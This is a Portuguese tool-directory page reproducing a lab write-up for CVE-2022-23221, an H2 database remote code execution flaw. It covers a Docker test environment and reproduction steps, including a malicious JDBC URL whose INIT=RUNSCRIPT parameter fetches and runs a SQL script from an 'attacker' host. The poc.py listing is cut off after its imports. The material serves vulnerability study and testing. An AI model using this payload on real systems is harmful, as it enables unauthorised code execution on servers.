Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit
Ferramentas/GitHubGitHub/straightsang/h2-database-cve-2022-23221
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoSegurança de Banco de DadosLabs e Prática
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

Ver Repositório
23há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

H2 Database RCE (CVE-2022-23221)


1. Resumo

  • Referência: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • O H2 é um sistema de gerenciamento de banco de dados relacional que oferece a funcionalidade de compilar e executar código Java diretamente dentro do motor SQL.

  • O driver do H2 analisa a URL JDBC para estabelecer a conexão entre a aplicação e o banco de dados. Nesse processo, é possível controlar o estado inicial ou o comportamento do banco de dados por meio dos parâmetros de configuração incluídos na URL.

  • As versões do H2 anteriores à 2.1.210 apresentam o problema de permitir a execução de scripts SQL remotos por meio do parâmetro INIT da URL JDBC. Um atacante explora isso injetando remotamente um script SQL manipulado e executando comandos do sistema por meio das instruções contidas nele, o que provoca a vulnerabilidade CVE-2022-23221.

  • As características desta vulnerabilidade são as seguintes.

    1. Sem necessidade de autenticação: qualquer pessoa com permissão para inserir uma URL JDBC pode explorar esta vulnerabilidade para obter o controle do sistema.
    2. Execução automática na inicialização do serviço: se o atacante modificar apenas o arquivo de configuração, o RCE (execução remota de código) ocorre automaticamente quando o serviço que utiliza o H2 é iniciado.
    3. Ocultação: é difícil para o desenvolvedor perceber o ataque.
    4. Amplo alcance de danos: devido à sua velocidade e leveza, o H2 é utilizado para desenvolvimento/teste de diversos serviços web. Como qualquer ambiente que permita configurar a URL JDBC por meio de arquivo de configuração ou de entrada do usuário pode ser alvo de ataques que exploram esta vulnerabilidade, o impacto é grande.
  • Escopo de impacto da vulnerabilidade

    • Versões afetadas: H2 anterior à 2.1.210
    • Versão corrigida: H2 2.1.210 ou superior

2. Condições da vulnerabilidade

  • Ser uma versão do H2 anterior à 2.1.210.
  • A URL JDBC deve conter IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> contorno das configurações de segurança
      • Com este parâmetro, as configurações de segurança são neutralizadas, de modo que o comando de execução de script remoto não é bloqueado durante a inicialização e é executado normalmente.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> comando SQL executado automaticamente ao conectar a aplicação ao banco de dados
      • Se o valor do parâmetro INIT contiver o comando SQL RUNSCRIPT e o endereço do script malicioso, o H2 se conecta ao servidor correspondente, baixa o arquivo e o executa quando a conexão entre a aplicação e o banco H2 é estabelecida.
  • O script SQL baixado deve conter a instrução SQL CREATE ALIAS.
    • A instrução CREATE ALIAS dentro do script a ser executado remotamente faz com que o H2 execute a função Java contida no script dentro do banco de dados, resultando, em última instância, em RCE.




3. Configuração do ambiente

  • Cenário

    • Configura-se um ambiente H2 vulnerável e insere-se uma URL JDBC maliciosa no H2. O H2 analisa essa URL sem a devida validação e recebe e executa o arquivo sql do servidor do atacante. Se o log do servidor h2-vulnerable exibir a string "EXPLOITED" junto com o resultado da execução dos comandos id, whoami, pwd, isso significa que o ambiente H2 vulnerável foi configurado e que, no processo de análise da URL JDBC maliciosa pelo H2, o arquivo exploit.sql foi baixado remotamente do servidor do atacante e executado.
  • Configuração do ambiente

    docker compose up -d 
    

    docker ps

    • Ao executar o comando, os seguintes ambientes são iniciados.
    • h2-vulnerable: H2 2.0.206 (versão vulnerável, anterior à correção)
      • Console web do H2: http://your-ip:8082
      • Servidor TCP: tcp://your-ip:9092
    • attacker: servidor HTTP
      • http://your-ip:8000 : fornece o arquivo exploit.sql
  • Após configurar o ambiente, ao acessar http://your-ip:8082, a página web do H2 é exibida.




4. Procedimento de reprodução

: No console web, como as políticas de segurança estão aplicadas, os parâmetros que servem de condição para a vulnerabilidade podem ser filtrados; portanto, insira diretamente via CLI a URL JDBC contendo o parâmetro malicioso para reproduzir a vulnerabilidade e verificar o resultado.

[Caso de requisição normal]

  • URL JDBC normal: "jdbc:h2:mem:test"

  • Comando de requisição normal

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Resultado da execução Execução via CLI

    • Nenhuma requisição recebida no servidor attacker
    • Nenhum log relevante é exibido no servidor h2-vulnerable

[Caso de ataque à vulnerabilidade]

  • URL JDBC maliciosa: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Execução do ataque

  • Insira uma URL JDBC maliciosa no driver H2 para tentar conexão com o servidor attacker. Neste caso, há 2 formas de inserir a URL.

    1. Insira diretamente a URL JDBC maliciosa no H2 Shell via CLI.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    Execução via CLI

    1. Execute o arquivo PoC.
    python3 poc.py
    

    Execução do poc.py

2. Requisição e execução do arquivo

  • O H2 solicita (HTTP GET) o arquivo exploit.sql ao servidor attacker conforme INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' especificado no parâmetro INIT da URL JDBC e o executa dentro do banco de dados H2.

    1. Ao executar docker logs attacker, é possível verificar o log da requisição do arquivo exploit.sql vinda do servidor h2-vulnerable.
    docker logs attacker
    

    1. O servidor attacker retorna o arquivo exploit.sql solicitado, e o servidor h2-vulnerable executa o arquivo exploit.sql recebido. Neste momento, a instrução CREATE ALIAS dentro do script induz a execução de código Java, fazendo com que ocorra o RCE


5. Código poc.py

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys
Baixar ferramenta